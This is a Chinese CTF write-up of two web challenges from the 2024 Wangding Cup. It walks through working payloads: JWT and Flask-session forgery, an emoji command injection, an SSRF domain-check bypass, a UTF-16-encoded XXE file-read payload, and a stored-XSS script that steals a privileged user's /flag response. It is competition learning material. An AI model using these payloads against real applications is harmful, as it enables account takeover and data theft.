2024网鼎杯初赛-青龙组-WEB gxngxngxn

WEB01

开局随便随便输入都可以登录，登上去以后生成了一个token和一个session，一个是jwt一个是flask框架的

这边先伪造jwt,是国外的原题

CTFtime.org / DownUnderCTF 2021 （线上） / JWT / Writeup

先生成两个token，然后利用rsa_sign2n工具来生成公钥

 python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNiBLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2wFiF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO

得到public key

然后利用RsaCtfTool得到私钥

接着直接伪造jwt即可，成功伪造了用户名为admin

可以访问game路由使用功能，这里又是国外原题

AIS3-pre-exam-2024-Writeup | 堇姬 Naup's Blog

利用emo表情构造出cd flag;p:|cat *

💿 🚩😜😐🐱 ⭐

直接读源码，可以得到secret_key为36f8efbea152e50b23290e0ed707b4b0

那么直接伪造

然后就可以使用上传文件的功能，我们先审计一下这部分的源码

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page.Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        error_message = 'You do not have permission to access this page.Your role is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    

    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://"+pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)

这里面80端口有个php服务，然后/upload路由可以上传文件到uplaods目录下，在view_uploads路由下可以查看，但是存在waf

if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):

这里必须包含这个域名，而且不能有127.0.0.1，那么这里可以用0.0.0.0来代替127.0.0.1，用ssrf中的跳转来绕过域名限制

POST /view_uploads HTTP/1.1
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: close
Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads
Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit

那么可以先随便上传一个文件，然后读取，发现会报Failed to load XML file，猜测会解析xml，直接打xxe，但是过滤了system等许多关键字，那么采用utf-16编码绕过，直接读flag.php文件

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

iconv -f utf8 -t utf16 1.xml>3.xml

然后上传3.xml，再去读取，得到flag

WEB02

打开容器一个登录界面，随便输入账号密码可以进到漏洞界面

这里有一个发送给boss的功能，一眼xss

然后访问/flag，需要boss才能访问，这里我们就可以提交一个xss，然后让boss先访问/flag,再把数据带给我们的content里面

<script>var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var flagData = xmlhttp.responseText;
        var flag1 = btoa(flagData);
        var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df';
        var xmlhttp2 = new XMLHttpRequest();
        xmlhttp2.open("POST", remoteServerUrl, true);
        xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xmlhttp2.send("content=" + encodeURIComponent(flag1))
    }
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();</script>

更新任务后，发送给boss

接着回到页面可以看到flag已经发过来了

posted @ 2024-10-29 21:04 gxngxngxn 阅读(3311) 评论(0) 编辑收藏举报

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